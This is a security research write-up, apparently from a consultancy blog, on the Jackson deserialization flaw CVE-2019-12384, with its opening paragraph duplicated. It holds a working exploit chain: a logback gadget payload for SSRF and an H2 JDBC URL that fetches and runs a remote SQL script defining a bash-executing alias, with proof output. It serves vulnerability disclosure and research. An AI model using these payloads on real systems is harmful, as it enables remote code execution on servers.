## Jackson CVE-2019-12384: anatomy of a vulnerability class During one of our engagements, we analyzed an application which used the [Jackson](https://github.com/FasterXML/jackson) library for deserializing JSONs. In that context, we have identified a deserialization vulnerability where we could control the class to be deserialized. In this article, we want to show how an attacker may leverage this deserialization vulnerability to trigger attacks such as Server-Side Request Forgery (SSRF) and remote code execution. This research also resulted in a new [CVE-2019-12384](https://access.redhat.com/security/cve/cve-2019-12384) and a bunch of RedHat products affected by it:  ## What is required? As reported by Jackson’s author in [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96) the requirements for a Jackson “gadget”...
## Jackson CVE-2019-12384: anatomy of a vulnerability class During one of our engagements, we analyzed an application which used the [Jackson](https://github.com/FasterXML/jackson) library for deserializing JSONs. In that context, we have identified a deserialization vulnerability where we could control the class to be deserialized. In this article, we want to show how an attacker may leverage this deserialization vulnerability to trigger attacks such as Server-Side Request Forgery (SSRF) and remote code execution. This research also resulted in a new [CVE-2019-12384](https://access.redhat.com/security/cve/cve-2019-12384) and a bunch of RedHat products affected by it:  ## What is required? As reported by Jackson’s author in [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96) the requirements for a Jackson “gadget” vulnerability are: 1. (1) The application accepts JSON content sent by an untrusted client (composed either manually or by a code you did not write and have no visibility or control over) — meaning that you can not constrain JSON itself that is being sent 2. (2) The application uses polymorphic type handling for properties with nominal type of*java.lang.Object* (or one of small number of “permissive” tag interfaces such as*java.util.Serializable*, *java.util.Comparable*) 3. (3) The application has at least one specific “gadget” class to exploit in the Java classpath. In detail, exploitation requires a class that works with Jackson. In fact, most gadgets only work with specific libraries — e.g. most commonly reported ones work with JDK serialization 4. (4) The application uses a version of Jackson that does not (yet) block the specific “gadget” class. There is a set of published gadgets which grows over time so it is a race between people finding and reporting gadgets and the patches. Jackson operates on a blacklist. The deserialization is a “feature” of the platform and they continually update a [blacklist of known gadgets that people report](https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java). In this research we assumed that the preconditions (1) and (2) are satisfied. Instead, we concentrated on finding a gadget that could meet both (3) and (4). Please note that Jackson is one of the most used deserialization frameworks for Java applications where polymorphism is a first-class concept. Finding these conditions comes at zero-cost to a potential attacker who may use[static analysis tools](https://find-sec-bugs.github.io/bugs.htm#JACKSON_UNSAFE_DESERIALIZATION) or other dynamic techniques, such as grepping for `@class` in request/responses, to find these targets. ## Preparing for the battlefield During our research we developed a tool to assist the discovery of such vulnerabilities. When Jackson deserializes `ch.qos.logback.core.db.DriverManagerConnectionSource`, this class can be abused to instantiate a JDBC connection. JDBC stands for (J)ava (D)ata(b)ase (C)onnectivity. JDBC is a Java API to connect and execute a query with the database and it is a part of JavaSE (Java Standard Edition). Moreover, JDBC uses an automatic string to class mapping, as such it is a perfect target to load and execute even more “gadgets” inside the chain. In order to demonstrate the attack, we prepared a wrapper in which we load arbitrary polymorphic classes specified by an attacker. For the environment we used [jRuby](https://www.jruby.org/), a ruby implementation running on top of the Java Virtual Machine (JVM). With its integration on top of the JVM, we can easily load and instantiate Java classes. We’ll use this setup to load Java classes easily in a given directory and prepare the Jackson environment to meet the first two requirements (1,2) listed above. In order to do that, we implemented the following [jRuby](https://www.jruby.org/) script. ``` require 'java' Dir["./classpath/*.jar"].each do |f| require f end java_import 'com.fasterxml.jackson.databind.ObjectMapper' java_import 'com.fasterxml.jackson.databind.SerializationFeature' content = ARGV[0] puts "Mapping" mapper = ObjectMapper.new mapper.enableDefaultTyping() mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false); puts "Serializing" obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters puts "objectified" puts "stringified: " + mapper.writeValueAsString(obj) ``` The script proceeds as follows: 1. At line 2, it loads all of the classes contained in the Java Archives (JAR) within the “classpath” subdirectory 2. Between lines 5 and 13, it configures Jackson in order to meet requirements (#2) 3. Between lines 14 and 17, it deserializes and serializes a polymorphic Jackson object passed to jRuby as JSON ## Memento: reaching the gadget For this research we decided to use gadgets that are widely used by the Java community. All the libraries targeted in order to demonstrate this attack are in the top 100 most common libraries in the [Maven central](https://search.maven.org/) repository. To follow along and to prepare for the attack, you can download the following libraries and put them in the “classpath” directory: - [jackson-databind-2.9.8](http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.8/jackson-databind-2.9.8.jar) - [jackson-annotations-2.9.8](http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-annotations/2.9.8/jackson-annotations-2.9.8.jar) - [jackson-core-2.9.8](http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.9.8/jackson-core-2.9.8.jar) - [logback-core-1.3.0-alpha4](http://central.maven.org/maven2/ch/qos/logback/logback-core/1.3.0-alpha4/logback-core-1.3.0-alpha4.jar) - [h2-1.4.199](http://central.maven.org/maven2/com/h2database/h2/1.4.199/h2-1.4.199.jar) It should be noted the `h2` library is not required to perform SSRF, since our experience suggests that most of the time Java applications load at least one JDBC Driver. JDBC Drivers are classes that, when a JDBC url is passed in, are automatically instantiated and the full URL is passed to them as an argument. Using the following command, we will call the previous script with the aforementioned classpath. ``` $ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:\"}]" ``` On line 15 of the script, Jackson will recursively call all of the setters with the key contained inside the subobject. To be more specific, the `setUrl(String url)` is called with arguments by the Jackson reflection library. After that phase (line 17) the full object is serialized into a JSON object again. At this point all the fields are serialized directly, if no getter is defined, or through an explicit getter. The interesting setter for us is `getConnection()`. In fact, as an attacker, we are interested in all [“non pure” methods](http://tutorials.jenkov.com/java-functional-programming/index.html#pure-functions) that have interesting side effects where we control an argument. When the `getConnection` is called, an in memory database is instantiated. Since the application is short lived, we won’t see any meaningful effect from the attacker’s perspective. In order to do something more meaningful we create a connection to a remote database. If the target application is deployed as a remote service, an attacker can generate a Server Side Request Forgery (SSRF). The following screenshot is an example of this scenario.  ## Enter the Matrix: From SSRF to RCE As you may have noticed both of these scenarios lead to DoS and SSRF. While those attacks may affect the application security, we want to show you a simple and effective technique to turn a SSRF into a full chain RCE. In order to gain full code execution in the context of the application, we employed the capability of loading the [H2](http://www.h2database.com/html/features.html) JDBC Driver. [H2](http://www.h2database.com/html/features.html) is a super fast SQL database usually employed as in memory replacement for full-fledged SQL Database Management Systems (such as Postgresql, MSSql, MySql or OracleDB). It is easily configurable and it actually supports many modes such as in memory, on file, and on remote servers. H2 has the capability to run SQL scripts from the JDBC URL, which was added in order to have an in-memory database that supports init [migrations](https://edgeguides.rubyonrails.org/active_record_migrations.html). This alone won’t allow an attacker to actually execute Java code inside the JVM context. However [H2](http://www.h2database.com/html/features.html), since it was implemented inside the JVM, [has the capability to specify custom aliases containing java code](https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html). This is what we can abuse to execute arbitrary code. We can easily serve the following `inject.sql` INIT file through a simple http server such as a python one (e.g. `python -m SimpleHttpServer`). ``` CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('id > exploited.txt') ``` And run the tester application with: ``` $ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]" ... $ cat exploited.txt uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh) ``` Voila’! ## Iterative Taint-Tracking Exploitation of deserialization vulnerabilities is complex and takes time. When conducting a product security review, time constraints can make it difficult to find the appropriate gadgets to use in exploitation. On the other end, the Jackson blacklists are updated on a monthly basis while users of this mechanism (e.g. enterprise applications) may have yearly release cycles. Deserialization vulnerabilities are the typical needle-in-the-haystack problem. On the one hand, identifying a vulnerable entry point is an easy task, while finding a useful gadget may be time consuming (and tedious). At Doyensec we developed a technique to find useful Jackson gadgets to facilitate the latter effort. We built a static analysis tool that can find serialization gadgets through[taint-tracking](https://en.wikipedia.org/wiki/Taint_checking) analysis. We designed it to be fast enough to run multiple times and iterate/improve through a custom and extensible rule-set language. On average a run on a Macbook PRO i7 2018 takes 2 minutes.  Taint-tracking is a topical academic research subject. Academic research tools are focused on a very high recall and precision. The trade-off lies between high-recall/precision versus speed/memory. Since we wanted this tool to be usable while testing commercial grade products and we valued the customizability of the tool by itself, we focused on speed and usability instead of high recall. While the tool is inspired by other research such as [flowdroid](https://blogs.uni-paderborn.de/sse/tools/flowdroid/), the focus of our technique is not to rule out the human analyst. Instead, we believe in augmenting manual testing and exploitation with customizable [security automation](https://doyensec.com/automation.html). This research was possible thanks to the [25% research time](https://doyensec.com/careers.html) at Doyensec. Tune in again for new episodes. That’s all folks! Keep it up and be safe!
